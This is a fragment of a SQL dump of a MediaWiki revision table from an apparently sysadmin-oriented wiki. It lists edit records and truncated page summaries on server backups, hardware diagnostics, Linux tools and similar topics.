*/',1,'WikiAdmin','20070821192339',0,0,1876,22),(51,14,51,'/* kSar */',1,'WikiAdmin','20071003133753',0,0,1701,27),(557,14,556,'/* kSar */',1,'WikiAdmin','20081204155911',0,0,1891,51),(559,14,558,'/* kSar */',1,'WikiAdmin','20081204211509',0,0,2347,557),(560,14,559,'',1,'WikiAdmin','20081209192744',0,0,5783,559),(561,14,560,'/* Pidstat & Mpstat */',1,'WikiAdmin','20081209193449',0,0,6263,560),(986,14,984,'/* kSar */',1,'WikiAdmin','20100614185424',0,0,6424,561),(23,15,23,'',1,'WikiAdmin','20070821190248',0,0,0,0),(24,16,24,'New page: == Repairing corrupted Cpanel Backups / .tar.gz files Huzzah! ==  Intro:  So you are trying to restore a Cpanel backup and it doesn’t work. Imagine that – what are the odds that would ...',1,'WikiAdmin','20070821190505',0,0,4293,0),(25,17,25,'',1,'WikiAdmin','20070821190518',0,0,0,0),(26,18,26,'New page: == Dell RAID Management Tool - megarc  ==   There is a cool tool that gives a lot of information and management capabilities for the hardware RAID controllers on our Dells. The utility is ...',1,'WikiAdmin','20070821190830',0,0,3442,0),(141,18,141,'/* Dell Alternative */',0,'66.118.128.10','20080306203532',0,0,3822,26),(29,19,29,'New page:    == Cygwin ==  \'\'\'Remote Sessions via XDMCP\'\'\'  Cygwin/X can be used login to one or several remote sessions using XDMCP (X Display Manager Control Protocol).  Start Cygwin/X with a comm...',1,'WikiAdmin','20070825012658',0,0,1365,0),(30,19,30,'',1,'WikiAdmin','20070825015505',0,0,1970,29),(31,19,31,'',1,'WikiAdmin','20070825141754',0,0,2115,30),(37,19,37,'',2,'Wikiuser','20070826175912',0,0,3416,31),(38,19,38,'',2,'Wikiuser','20070827001505',0,0,4849,37),(39,19,39,'',2,'Wikiuser','20070827001753',0,0,4871,38),(1272,19,1270,'/* Troubleshooting */',1,'WikiAdmin','20101208153536',0,0,5022,39),(1361,19,1359,'/* General SSH / X Tutorial */',1,'WikiAdmin','20110111155324',0,0,5336,1272),(32,20,32,'New page: __FORCETOC__   == First Linux Night ==   :Exact night to be announced - likely the second or third Sat or Sun in        Sept. If you are coming post your name below under Who\'s Coming and ...',1,'WikiAdmin','20070825224629',0,0,2111,0),(34,20,34,'',1,'WikiAdmin','20070825225102',0,0,2168,32),(36,20,36,'/* Who\'s Coming */',0,'24.96.100.27','20070826015745',0,0,2306,34),(40,20,40,'/* Who\'s Coming */',0,'198.22.121.110','20070830152431',0,0,2398,36),(41,20,41,'/* Who\'s Coming */',0,'198.22.121.110','20070830152546',0,0,2397,40),(42,20,42,'/* Who\'s Coming */',0,'198.22.121.110','20070831222914',0,0,2556,41),(43,20,43,'/* Who\'s Coming */',0,'198.22.121.110','20070831223035',0,0,2580,42),(44,20,44,'',1,'WikiAdmin','20070911000620',0,0,2431,43),(46,20,46,'/* First Linux Night */',1,'WikiAdmin','20070916114139',0,0,2732,44),(33,21,33,'',1,'WikiAdmin','20070825224710',0,0,0,0),(35,22,35,'New page: Hey Guys,  Feel free to leave comments or discussion here. . .   Cheers, Pete',2,'Wikiuser','20070825231523',0,0,77,0),(45,23,45,'New page:  == OS Installation ==    Output by default is directed to serial 0. Use minicom / picocom, etc with baud rate of 115200 for terminal access. (Picocom command sequence ctrl-a, then ctrl-u ...',0,'70.126.193.187','20070916032353',0,0,668,0),(52,23,52,'',1,'WikiAdmin','20071010170131',0,0,1561,45),(151,23,151,'/* Strongbolt Kernel */',1,'WikiAdmin','20080321161806',0,0,3961,52),(152,23,152,'/* Strongbolt Kernel */',1,'WikiAdmin','20080321170435',0,0,4719,151),(47,24,47,'New page:  == TFTP Install ==   http://wiki.openwrt.org/OpenWrtDocs/Installing/TFTP?action=show&redirect=OpenWrtViaTftp  # unplug the power to your router # start your tftp client (pumpkin tftp is a...',1,'WikiAdmin','20070923150129',0,0,2721,0),(48,25,48,'New page: == Polling Hardware Specs with dmidecode and lshw / lhsw-gui ==  __FORCETOC__  Need to do a memory install?  System not labeled with what board it has?  Want to know what motherboard and w...',0,'66.118.128.10','20071001133041',0,0,3784,0),(87,25,87,'/* lshw lshw-gui */',1,'WikiAdmin','20071129190800',0,0,3885,48),(88,25,88,'/* lshw lshw-gui */',1,'WikiAdmin','20071129215218',0,0,3977,87),(49,26,49,'New page: == BIOS Updates  Huzzah !==  We have collected BIOS updates for all our Dell Servers and the key generic ones as well.  Practically all these systems have whatever BIOS version they shippe...',0,'66.118.128.10','20071001133506',0,0,4463,0),(50,27,50,'',1,'WikiAdmin','20071001133612',0,0,0,0),(53,28,53,'New page: __FORCETOC__   == Intro: ==  Homepage:  http://www.lm-sensors.org/  If you are running a 2.6 kernel, install should be pretty easy.  Get lm_sensors from:  http://dl.lm-sensors.org/lm-senso...',1,'WikiAdmin','20071017143745',0,0,5408,0),(54,28,54,'',1,'WikiAdmin','20071017144429',0,0,5445,53),(56,28,56,'',0,'66.118.128.10','20071018191946',0,0,7142,54),(55,29,55,'',1,'WikiAdmin','20071017144500',0,0,0,0),(57,30,57,'New page:  == Transparent Terminal ==  ChangeMe-2-Prod-2:~ archimedes$ cat .bash_profile   export CLICOLORS=1  defaults write com.apple.terminal TerminalOpaqueness \'0.85\'  alias ls=\"ls -G\"',1,'WikiAdmin','20071021172144',0,0,178,0),(485,30,484,'',1,'WikiAdmin','20081028010323',0,0,728,57),(58,31,58,'New page: __FORCETOC__   Compiling Kopete OTR Plug in for Suse 10.3  Follow the instructions at:  http://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002    == OTR Libraries ==   Bu...',0,'72.184.142.174','20071121034352',0,0,872,0),(59,31,59,'',0,'72.184.142.174','20071121040517',0,0,1478,58),(60,31,60,'',0,'72.184.142.174','20071121042836',0,0,1526,59),(61,31,61,'',0,'72.184.142.174','20071121050537',0,0,1545,60),(62,31,62,'',0,'72.184.142.174','20071121104158',0,0,1547,61),(63,31,63,'',0,'72.184.142.174','20071121104621',0,0,1670,62),(67,31,67,'',1,'WikiAdmin','20071122000940',0,0,2547,63),(68,31,68,'',1,'WikiAdmin','20071122002037',0,0,2572,67),(69,31,69,'',0,'72.184.142.174','20071122175341',0,0,3374,68),(70,31,70,'',0,'72.184.142.174','20071122175652',0,0,3378,69),(65,32,65,'',2,'Wikiuser','20071121234345',0,0,0,0),(66,33,66,'',2,'Wikiuser','20071121234553',0,0,0,0),(73,34,73,'New page: This is a quick guide to installing Darwin ports under OS X 10.4  Darwin ports in similar to the ports tree in Freebsd, providing easy building and installation of thousands of application...',0,'72.184.142.174','20071124232547',0,0,6247,0),(74,34,74,'/* Installing MTR */',0,'72.184.142.174','20071124232820',0,0,6236,73),(75,34,75,'/* Installing MTR */',0,'72.184.142.174','20071124235613',0,0,6518,74),(311,34,310,'/* Installing MTR */',1,'WikiAdmin','20080710020119',0,0,7472,75),(76,35,76,'New page: == Introduction ==  Diagnosing and repairing PC and servers requires the intelligent use of many tools. There is no single piece of testing software that is perfect or suits every situatio...',0,'72.184.142.174','20071127005007',0,0,4949,0),(78,35,78,'',1,'WikiAdmin','20071127010218',0,0,5118,76),(80,35,80,'',0,'72.184.142.174','20071127022743',0,0,5169,78),(81,35,81,'/* Repair Tools */',0,'66.118.128.10','20071128163131',0,0,5142,80),(83,35,83,'',1,'WikiAdmin','20071128164409',0,0,5880,81),(86,35,86,'/* Linux for Hardware Analysis */',1,'WikiAdmin','20071129185811',0,0,6385,83),(89,35,89,'/* Introduction */',1,'WikiAdmin','20071129220154',0,0,6426,86),(120,35,120,'',1,'WikiAdmin','20080204172354',0,0,6545,89),(184,35,184,'/* Repair Tools */ Updated SGD webpage',0,'193.144.12.226','20080421190737',0,0,6548,120),(185,35,185,'/* Boot Block Corruption */ Updated SGD webpage',0,'193.144.12.226','20080421190807',0,0,6549,184),(415,35,414,'/* Linux for Hardware Analysis */',1,'WikiAdmin','20080916193355',0,0,7057,185),(416,35,415,'/* Data Recovery */',1,'WikiAdmin','20080916193810',0,0,7202,415),(77,36,77,'',1,'WikiAdmin','20071127005558',0,0,0,0),(82,38,82,'New page: == Intro ==   There are several methods of cracking or bypassing account passwords on a Windows based system. A couple methods are given below, feel free to add others.  First - most of th...',1,'WikiAdmin','20071128163625',0,0,3078,0),(84,39,84,'New page: [[Image:geeko.jpg|frame|right]] == Installing ==  You can download and burn the whole 4+ GB install DVD, or use the network install CD method described here.  The network install has some ...',1,'WikiAdmin','20071128195228',0,0,3849,0),(195,39,195,'',1,'WikiAdmin','20080506173024',0,0,5195,84),(196,39,196,'/* Post Install Check List */',1,'WikiAdmin','20080506173806',0,0,5200,195),(197,39,197,'/* Installing */',1,'WikiAdmin','20080506220627',0,0,5345,196),(213,39,213,'/* Alt F8 Hack */',0,'66.118.128.10','20080513145057',0,0,5706,197),(236,39,236,'/* Post Install Check List */',0,'72.184.142.174','20080516054143',0,0,7137,213),(1242,39,1240,'/* Installing */',1,'WikiAdmin','20101114002454',0,0,7687,236),(85,40,85,'',1,'WikiAdmin','20071128195248',0,0,0,0),(90,41,90,'New page: == Dependency Errors When Perl Modules Are Installed ==   Sometimes when yum updating specific packages, or a whole system update, dependencies will fail due to \"missing\" perl modules whic...',1,'WikiAdmin','20071202194354',0,0,3688,0),(91,41,91,'/* List Installed Perl Modules */',1,'WikiAdmin','20071202194610',0,0,3804,90),(201,41,201,'/* On-line perl mod to RPM tool */',0,'66.118.128.10','20080508165520',0,0,4014,91),(202,41,202,'/* cpan2rpm to the Rescue */',0,'66.118.128.10','20080508165751',0,0,4328,201),(203,41,203,'',0,'66.118.128.10','20080508165953',0,0,4329,202),(1257,41,1255,'/* On-line perl mod to RPM tool */',1,'WikiAdmin','20101123134924',0,0,4834,203),(1258,41,1256,'/* cpan2rpm to the Rescue */',1,'WikiAdmin','20101123135056',0,0,4977,1257),(92,42,92,'New page: == gpg Basics ==  You can download the public key for someone from a key server such as http://keyserver.veridis.com:11371/index.jsp  or http://pgp.mit.edu/ Just enter their key ID here, s...',1,'WikiAdmin','20071202200845',0,0,3111,0),(93,43,93,'New page: There is such a tremendous number of truly fantastic Open Source applications and projects these days it is really amazing. The quality of Open Source software has come a very long way and...',1,'WikiAdmin','20071202210324',0,0,2538,0),(94,43,94,'',1,'WikiAdmin','20071202210452',0,0,2540,93),(115,43,115,'',0,'72.184.142.174','20080204023134',0,0,2938,94),(179,43,179,'',1,'WikiAdmin','20080410145435',0,0,3383,115),(188,43,188,'',0,'66.118.128.10','20080423205940',0,0,3649,179),(95,44,95,'New page: == Intro ==  BackupPC is this fantastic app allowing you to backup systems to a server using a variety of protocols - tar, rsync, scp, smb - wether they be Linux, Windows or OS X systems. ...',1,'WikiAdmin','20071204015813',0,0,6829,0),(96,44,96,'/* Installation Notes */',1,'WikiAdmin','20071204020713',0,0,7400,95),(98,44,98,'',1,'WikiAdmin','20071204021420',0,0,7541,96),(99,44,99,'/* Installation Notes */',1,'WikiAdmin','20071204021500',0,0,7500,98),(100,44,100,'/* Installation Notes */',1,'WikiAdmin','20071204021650',0,0,7499,99),(101,44,101,'/* Installation Notes */',1,'WikiAdmin','20071204021743',0,0,7498,100),(102,44,102,'/* Intro */',1,'WikiAdmin','20071204021952',0,0,7498,101),(103,44,103,'',4,'Kyle','20071204025151',0,0,7499,102),(104,44,104,'/* Making Backups! */',4,'Kyle','20071204025208',0,0,7497,103),(157,44,157,'/* Making Backups! */',1,'WikiAdmin','20080323210007',0,0,8893,104),(158,44,158,'/* Making Backups! */',1,'WikiAdmin','20080323210731',0,0,9681,157),(159,44,159,'/* Making Backups! */',1,'WikiAdmin','20080323210909',0,0,10320,158),(160,44,160,'/* Making Backups! */',1,'WikiAdmin','20080323211036',0,0,11587,159),(161,44,161,'',1,'WikiAdmin','20080323211132',0,0,9688,160),(163,44,163,'/* Clients on Other Networks */',0,'66.194.104.5','20080327013352',0,0,10791,161),(178,44,178,'/* Troubleshooting */',0,'66.118.128.10','20080409170207',0,0,11199,163),(243,44,243,'',1,'WikiAdmin','20080525213706',0,0,11984,178),(653,44,651,'/* Making Backups! */',1,'WikiAdmin','20090518023448',0,0,12609,243),(654,44,652,'/* Deleting Backups */',1,'WikiAdmin','20090518024412',0,0,17122,653),(655,44,653,'/* Intro */',1,'WikiAdmin','20090518025224',0,0,17337,654),(97,45,97,'',1,'WikiAdmin','20071204020905',0,0,0,0),(105,46,105,'New page: __FORCETOC__  == Login Info ==  See Sago Wiki    == Adding a Customer ==  1. Add the IP address customer will be connecting from. Ensure it is allowed.  General  ---> Local Networks   2. C...',1,'WikiAdmin','20071211163631',0,0,1598,0),(106,46,106,'/* Adding a Customer */',0,'66.118.128.10','20071214132405',0,0,1981,105),(117,46,117,'',1,'WikiAdmin','20080204171042',0,0,2537,106),(107,47,107,'New page:    == Upgrade Process ==  Full Install Guide http://www.sugarcrm.com/crm/index.php?option=com_docs&edition=OS&Itemid=375  Things discovered in upgrading from 4.5 to 5.0  Current database n...',1,'WikiAdmin','20080110185502',0,0,978,0),(108,47,108,'',1,'WikiAdmin','20080110190941',0,0,1446,107),(109,47,109,'',1,'WikiAdmin','20080112014743',0,0,1534,108),(300,47,299,'',1,'WikiAdmin','20080630211111',0,0,2011,109),(301,47,300,'',1,'WikiAdmin','20080630233323',0,0,2531,300),(302,47,301,'',1,'WikiAdmin','20080701032029',0,0,3961,301),(303,47,302,'/* Importing Accounts */',1,'WikiAdmin','20080701201427',0,0,4211,302),(305,47,304,'/* Importing Accounts */',1,'WikiAdmin','20080702202504',0,0,5027,303),(306,47,305,'/* Importing Accounts */',1,'WikiAdmin','20080702203956',0,0,5605,305),(307,47,306,'/* Importing Accounts */',1,'WikiAdmin','20080703020238',0,0,6307,306),(308,47,307,'/* MySQL Control Characters */',1,'WikiAdmin','20080703035033',0,0,6620,307),(309,47,308,'/* Database Structure & Changes */',1,'WikiAdmin','20080703174952',0,0,6920,308),(312,47,311,'/* MySQL Tools & Syntax */',1,'WikiAdmin','20080710113226',1,0,7046,309),(313,47,312,'/* MySQL Tools & Syntax */',1,'WikiAdmin','20080710114309',0,0,7219,312),(314,47,313,'/* MySQL Tools & Syntax */',1,'WikiAdmin','20080710174022',0,0,7776,313),(315,47,314,'/* MySQL Tools & Syntax */',1,'WikiAdmin','20080710210456',0,0,7957,314),(316,47,315,'/* MySQL Tools & Syntax */',1,'WikiAdmin','20080710211019',0,0,8035,315),(332,47,331,'/* MySQL Tools & Syntax */',1,'WikiAdmin','20080723143633',0,0,8302,316),(333,47,332,'/* MySQL Tools & Syntax */',1,'WikiAdmin','20080723204838',0,0,8612,332),(110,48,110,'New page:    == GENERAL EDUCATION COURSES (18 credits)  	 ==  ENC 1101 - COMPOSITION I or (Honors) 	3  SPC 1600 - INTRODUCTION TO SPEECH COMMUNICATION 	3 or (SPC 1600H, SPC 1016, SPC 1060 or SPC 106...',1,'WikiAdmin','20080113075656',0,0,1360,0),(112,48,112,'',1,'WikiAdmin','20080122144311',0,0,1539,110),(139,48,139,'/* GENERAL EDUCATION COURSES (18 credits) */',0,'72.184.142.174','20080302022948',0,0,1678,112),(140,48,140,'/* SUPPORT COURSES (21 credits) */',0,'72.184.142.174','20080302023217',0,0,1720,139),(288,48,287,'/* SUPPORT COURSES (21 credits) */',1,'WikiAdmin','20080622004212',0,0,1857,140),(296,48,295,'/* SUPPORT COURSES (21 credits) */',1,'WikiAdmin','20080630174942',0,0,1942,288),(325,48,324,'/* SUPPORT COURSES (21 credits) */',1,'WikiAdmin','20080717222159',0,0,2128,296),(362,48,361,'/* GENERAL EDUCATION COURSES (18 credits) */',1,'WikiAdmin','20080804222029',0,0,2154,325),(363,48,362,'/* SUPPORT COURSES (21 credits) */',1,'WikiAdmin','20080804224640',0,0,2183,362),(364,48,363,'/* SUPPORT COURSES (21 credits) */',1,'WikiAdmin','20080804225219',0,0,2220,363),(375,48,374,'/* Resources */',1,'WikiAdmin','20080818230540',0,0,2288,364),(376,48,375,'/* SUPPORT COURSES (21 credits) */',1,'WikiAdmin','20080819011758',1,0,2411,375),(377,48,376,'/* Resources */',1,'WikiAdmin','20080819222648',0,0,2499,376),(552,48,551,'',1,'WikiAdmin','20081130145916',0,0,2813,377),(553,48,552,'/* Semester Projection */',1,'WikiAdmin','20081130150024',0,0,2822,552),(581,48,580,'/* SUPPORT COURSES (21 credits) */',1,'WikiAdmin','20090107022851',0,0,2920,553),(623,48,621,'/* Other Classes of Interest: */',1,'WikiAdmin','20090317172304',0,0,3147,581),(692,48,690,'',1,'WikiAdmin','20090708222218',0,0,3101,623),(706,48,704,'',1,'WikiAdmin','20090809033041',0,0,3571,692),(718,48,716,'/* Other Classes of Interest: */',1,'WikiAdmin','20090816224302',0,0,3855,706),(719,48,717,'/* Resources */',1,'WikiAdmin','20090818211932',0,0,3930,718),(720,48,718,'/* Semester Projection */',1,'WikiAdmin','20090819000030',0,0,3988,719),(721,48,719,'/* Semester Projection */',1,'WikiAdmin','20090819185236',0,0,4002,720),(722,48,720,'/* Resources */',1,'WikiAdmin','20090820005321',0,0,4563,721),(723,48,721,'/* Semester Projection */',1,'WikiAdmin','20090820005431',0,0,4569,722),(771,48,769,'/* Semester Projection */',1,'WikiAdmin','20091105123010',0,0,4582,723),(790,48,788,'/* Honors Info */',1,'WikiAdmin','20100103211311',0,0,5299,771),(791,48,789,'/* Semester Projection */',1,'WikiAdmin','20100103212007',0,0,5387,790),(792,48,790,'/* Semester Projection */',1,'WikiAdmin','20100103212906',0,0,5528,791),(793,48,791,'/* Semester Projection */',1,'WikiAdmin','20100105011610',0,0,5648,792),(794,48,792,'/* Semester Projection */',1,'WikiAdmin','20100105014051',0,0,5887,793),(798,48,796,'/* Resources */',1,'WikiAdmin','20100111225625',0,0,6089,794),(820,48,818,'/* Semester Projection */',1,'WikiAdmin','20100201235554',0,0,6265,798),(926,48,924,'/* SUPPORT COURSES (21 credits) */',1,'WikiAdmin','20100402224705',0,0,6379,820),(931,48,929,'',1,'WikiAdmin','20100405124921',0,0,6895,926),(1045,48,1043,'/* Semester Projection */',1,'WikiAdmin','20100717195543',0,0,7100,931),(1046,48,1044,'/* Semester Projection */',1,'WikiAdmin','20100717195905',0,0,7107,1045),(1047,48,1045,'/* Semester Projection */',1,'WikiAdmin','20100717200611',0,0,7330,1046),(1048,48,1046,'/* Semester Projection */',1,'WikiAdmin','20100717201002',0,0,7352,1047),(1049,48,1047,'/* Semester Projection */',1,'WikiAdmin','20100717201153',0,0,7417,1048),(1072,48,1070,'/* Semester Projection */',1,'WikiAdmin','20100725225748',0,0,7461,1049),(1297,48,1295,'/* Resources */',1,'WikiAdmin','20101219140048',0,0,7570,1072),(111,49,111,'New page: == Should You Trust a Wiki for Academic Research? ==   Would you trust the Oxford English Dictionary (OED) for its accuracy? Considered THE definitive dictionary of the English language, i...',1,'WikiAdmin','20080121185020',0,0,3169,0),(113,50,113,'New page: == Splunk Overview ==  Splunk is a pretty killer tool that lets you search through whatever logs you specify. It essentially creates an indexed database of log entries which you can then s...',1,'WikiAdmin','20080124221010',0,0,2878,0),(156,50,156,'/* Things to Know . . . */',1,'WikiAdmin','20080323180056',0,0,4541,113),(656,50,654,'/* Configuration */',1,'WikiAdmin','20090518133155',0,0,4746,156),(114,51,114,'New page: == Bastille ==  How secure is your server?   While there is no single checklist, analysis tool, or script that will tell you the answer to this question, a good place to start is Bastille....',1,'WikiAdmin','20080124221141',0,0,3745,0),(116,52,116,'New page: == What is it? ==  Acronis can see ext3 filesystems fine and copy them and clone a drive. If a drive is failing you may be able to save it. Unless the drive is too trashed, it will read it...',1,'WikiAdmin','20080204170812',0,0,2621,0),(118,53,118,'New page: \'\'\'Links:\'\'\'  To Intra Wiki Article:  [[ArticleName]]   \'\'\'Font Color:\'\'\'  <font color=#ff0000><strong>IMPORTANT</strong></font>  General \'\'\'Formatting:\'\'\'   \'\'\'Tables:\'\'\'  {| border=\"1\" c...',1,'WikiAdmin','20080204171337',0,0,577,0),(119,54,119,'New page: === Intro ===  All hard drives will eventually fail. They are electro-mechanical devices with bearings, motors and an armature that moves around A LOT. The amazing thing is they last as lo...',1,'WikiAdmin','20080204172154',0,0,8794,0),(125,54,125,'/* Resources */',1,'WikiAdmin','20080204180105',0,0,8556,119),(127,54,127,'',1,'WikiAdmin','20080206155250',0,0,8969,125),(587,54,586,'/* Analyzing SMART Attributes */',1,'WikiAdmin','20090112144215',0,0,9747,127),(681,54,679,'/* Analyzing SMART Attributes - SCSI */',1,'WikiAdmin','20090623144356',0,0,9850,587),(682,54,680,'',1,'WikiAdmin','20090623144811',0,0,10275,681),(979,54,977,'/* Resources */',1,'WikiAdmin','20100604152558',0,0,10408,682),(121,55,121,'New page: [[Image:Padlock.jpeg|center]]  There are a number of excellent tools available to assist you in securing your sever and eliminating or mitigating risks. The tools in this section are fairl...',1,'WikiAdmin','20080204172525',0,0,1467,0),(124,55,124,'',1,'WikiAdmin','20080204174143',0,0,1466,121),(277,55,276,'',1,'WikiAdmin','20080614200926',0,0,2199,124),(122,56,122,'',1,'WikiAdmin','20080204173929',0,0,0,0),(123,57,123,'',1,'WikiAdmin','20080204174044',0,0,0,0),(126,58,126,'New page: This page was taken from:  http://www.inference.phy.cam.ac.uk/saw27/notes/backup-hard-disk-partitions.html  The original author on that page is Seb Wills   \'\'\'Backing up hard disks and har...',1,'WikiAdmin','20080205170502',0,0,17977,0),(128,59,128,'New page:    \'\'\'Install instructions are at:\'\'\'  http://www.cacti.net/downloads/docs/html/unix_configure_cacti.html  \'\'\'Additional info:\'\'\'  The rpm will install the base system, but you will have t...',1,'WikiAdmin','20080208170831',0,0,880,0),(130,59,130,'',1,'WikiAdmin','20080208171916',0,0,1566,128),(131,59,131,'',0,'72.184.142.174','20080209200055',0,0,2552,130),(173,59,173,'',1,'WikiAdmin','20080403222221',0,0,3132,131),(129,60,129,'',1,'WikiAdmin','20080208171200',0,0,0,0),(132,61,132,'New page: Please place additional tools and tips for file system repair here.   == Intro ==  At times one encounters file systems that despite best efforts will not clean properly. Despite multiple ...',1,'WikiAdmin','20080214191030',0,0,4225,0),(133,62,133,'New page: == Clonezilla ==  Clonezilla LiveCD is available at:  http://clonezilla.sourceforge.net/  It uses partimaged, etc. to perform partition and drive imaging locally and to remote server. It i...',1,'WikiAdmin','20080214192701',0,0,1783,0),(134,62,134,'',1,'WikiAdmin','20080214192823',0,0,1787,133),(398,62,397,'/* Clonezilla */',1,'WikiAdmin','20080822171028',0,0,1929,134),(135,63,135,'New page: == Introduction ==  Want to know how to find what file is associated with a sector and what inode it has?  How do you get rid of those \"pending sector\" errors that smartd reports when they...',1,'WikiAdmin','20080220214027',0,0,6243,0),(193,63,193,'',0,'66.118.128.10','20080425135910',0,0,6723,135),(136,64,136,'New page:  == Closing Open DNS Servers Tutorial ==  (By Felipe at Sago Networks.)   1) Login to your server and su to root.  2) Edit the /etc/named.conf file such as:# vi /etc/named.conf  Look for: ...',1,'WikiAdmin','20080221151008',0,0,1433,0),(137,65,137,'New page: === What Null-Routing Actually Does ===  (Authored by  Kyle Anderson, a colleague at Sago Networks. Added here as this is a great reference.)  Null routing is not magic. Null-routing is th...',1,'WikiAdmin','20080221151251',0,0,3602,0),(138,66,138,'New page: http://marc.info/?l=bugtraq&m=107703696631367&w=2 <pre> List:       bugtraq Subject:    APC 9606 SmartSlot Web/SNMP management card \"backdoor\" From:       Dave Tarbatt <bugtraq () always !...',1,'WikiAdmin','20080222165420',0,0,4318,0),(142,67,142,'New page: == Firewire DMA Exploit ==  Too funny - break into a windows box using a fire wire cable and a linux box.  http://www.stuff.co.nz/4425376a28.html  Here is the guys blog:  http://www.storm....',1,'WikiAdmin','20080311164534',0,0,9181,0),(143,68,143,'New page:  == Great shell tools & commands  ==   To run a command every few seconds and observe the resutls:   #watch -n2 \"w\" (Runs w command every 2 seconds)         == Good Command Reference Links...',1,'WikiAdmin','20080312150522',0,0,191,0),(974,68,972,'',1,'WikiAdmin','20100603224953',0,0,277,143),(145,69,145,'New page:  == Can I run Internet Explorer On Linux? ==  Need to run Internet Explorer on Linux for some reason? I needed to in order to run a web driven tutorial site that uses activex controls. No ...',1,'WikiAdmin','20080313194541',0,0,1396,0),(147,70,147,'New page: == Cpanel SMART Errors ==  Cpanel is not terribly intelligent about interpreting SMART errors or how it runs the SMART monitoring or analysis scripts. As a result is is pretty common to re...',1,'WikiAdmin','20080320195726',0,0,4892,0),(148,70,148,'',1,'WikiAdmin','20080320195818',0,0,4928,147),(149,71,149,'New page: == My Server Load is High! ==  Is your sever running so slow it takes 10 minutes for a site to come up?  Does logging into ssh take so long that your hair noticeably grows in the process? ...',1,'WikiAdmin','20080320212602',0,0,7488,0),(150,71,150,'',1,'WikiAdmin','20080320213526',0,0,7490,149),(214,71,214,'/* Research Steps */',0,'66.118.128.10','20080513145604',0,0,7568,150),(153,72,153,'New page: == Installing ==  Setting up OpenVPN using a shared static key between two computers is extremely easy. It can literally be done in a few minutes. The instructions for doing so can be foun...',1,'WikiAdmin','20080322021101',0,0,6608,0),(451,72,450,'/* Configure Certificate Authority */',1,'WikiAdmin','20081009011912',0,0,7299,153),(154,73,154,'New page: == Backing Up MySQL ==  There are several ways to back up your MySQL databases. One important thing to keep in mind however is you do not want to simply copy the files from your MySQL dire...',1,'WikiAdmin','20080322174123',0,0,29743,0),(155,73,155,'/* Verifying Backups and Restoring */',1,'WikiAdmin','20080322174845',0,0,29737,154),(162,74,162,'New page:   == Wikis to Write: ==   #Adding range files to Cpanel / CentOS - Ticket #83652 - To IP Engineers            == Research ==',1,'WikiAdmin','20080325202752',0,0,124,0),(166,74,166,'/* Wikis to Write: */',0,'66.118.128.10','20080331213913',0,0,277,162),(167,74,167,'/* Wikis to Write: */',0,'66.118.128.10','20080402203355',0,0,382,166),(174,74,174,'/* Wikis to Write: */',1,'WikiAdmin','20080404140130',0,0,501,167),(175,74,175,'/* Wikis to Write: */',1,'WikiAdmin','20080404214320',0,0,551,174),(164,75,164,'New page:  This is from:  http://forums.cpanel.net/showthread.php?t=45926  <pre> #!/bin/sh # # Copyright (C) 2005 Richard Gannon.  All rights reserved. # # Author: Richard Gannon # # This script wil...',1,'WikiAdmin','20080327164942',0,0,2089,0),(165,76,165,'3000 stations TV online',0,'202.28.27.4','20080330115525',0,0,161,0),(168,77,168,'New page: == Creating Backup User Accounts ==  There is a script (go Felipe!) on each storage server located in /home/sagotech called addbackupuser which will create the user account, create the .fo...',1,'WikiAdmin','20080403154219',0,0,2470,0),(170,77,170,'',1,'WikiAdmin','20080403154335',0,0,2443,168),(171,77,171,'',1,'WikiAdmin','20080403154350',0,0,2443,170),(172,77,172,'',1,'WikiAdmin','20080403154442',0,0,2443,171),(169,78,169,'New page: *To check quotas of a user type: repquota -a *This will show a list of all users and the quotas assigned to them *To change the quota for a user type: edquota username *This command will b...',1,'WikiAdmin','20080403154257',0,0,472,0),(247,78,247,'',1,'WikiAdmin','20080527124733',0,0,530,169),(176,79,176,'New page: === Queue information === <pre> To print a count of the messages in the queue root@localhost# exim -bpc  Print a listing of the messages in the queue (time queued, size, message-id, sender...',1,'WikiAdmin','20080407221642',0,0,1868,0),(177,80,177,'New page: Steps for setting up cacti From Sago Networks Cacti KB  1. Login to both the server and cacti.    2. Install snmpd on the server. * Centos: yum -y install net-snmp-utils * Debian / Ubuntu:...',1,'WikiAdmin','20080407221925',0,0,2611,0),(181,81,181,'New page:    Project home page:  http://lubi.sourceforge.net/lvpm.html  Sourceforge download page:  http://sourceforge.net/project/showfiles.php?group_id=198821   \"Ah\", you may say to yourself, \"Tha...',1,'WikiAdmin','20080416220120',0,0,2760,0),(183,81,183,'',0,'66.118.128.10','20080421144449',0,0,2914,181),(186,82,186,'New page:   Some good references on managing accounts and permissions:  http://www.redhat.com/docs/manuals/linux/RHL-8.0-Manual/admin-primer/s1-acctsgrps-files.html',1,'WikiAdmin','20080422182710',0,0,154,0),(187,82,187,'',1,'WikiAdmin','20080422182746',0,0,231,186),(189,83,189,'New page:  A pdf presentation of Managing on IP Networks with Free Software  http://www.nanog.org/mtg-0210/abley.html  The pdf contains numerous references to various tools including one which makes...',1,'WikiAdmin','20080424000418',0,0,318,0),(190,83,190,'',1,'WikiAdmin','20080424001533',1,0,374,189),(191,83,191,'',1,'WikiAdmin','20080424001602',1,0,397,190),(194,84,194,'New page: System Integrity Monitor is installed as part of the Sago Server Hardening script.  This tool is distributed by the same guys that make APF  http://rfxnetworks.com/sim.php  If you install ...',1,'WikiAdmin','20080503203408',0,0,2019,0),(198,85,198,'New page:  == Open Suse 10.3 ==   Instructions for setting up dhcpd, tftp, etc. and a general guide are at:  http://en.opensuse.org/SuSE_install_with_PXE_boot  Callandor:/tftpboot # cat default defa...',1,'WikiAdmin','20080508035708',0,0,751,0),(199,85,199,'/* Open Suse 10.3 */',1,'WikiAdmin','20080508035733',1,0,761,198),(200,85,200,'/* Open Suse 10.3 */',1,'WikiAdmin','20080508041305',0,0,1146,199),(206,85,206,'/* Open Suse 10.3 */',1,'WikiAdmin','20080509030242',0,0,2156,200),(280,85,279,'/* Graphical PXE Menus */',1,'WikiAdmin','20080617182331',0,0,2995,206),(281,85,280,'/* Graphical PXE Menus */',1,'WikiAdmin','20080617182354',0,0,2997,280),(283,85,282,'/* Graphical PXE Menus */',1,'WikiAdmin','20080617184043',0,0,3270,281),(586,85,585,'/* Configure dhcpd server: */',1,'WikiAdmin','20090111013947',0,0,3979,283),(608,85,607,'/* Starting & Verifying Services */',1,'WikiAdmin','20090221154636',0,0,5339,586),(816,85,814,'',1,'WikiAdmin','20100129152708',0,0,5437,608),(1038,85,1036,'/* Open Suse 10.3 */',1,'WikiAdmin','20100707193407',0,0,5575,816),(204,86,204,'New page:  mytop is a process monitor for MySQL, similar to TOP. It is very useful, but is rather a pain in the ass to install as it has 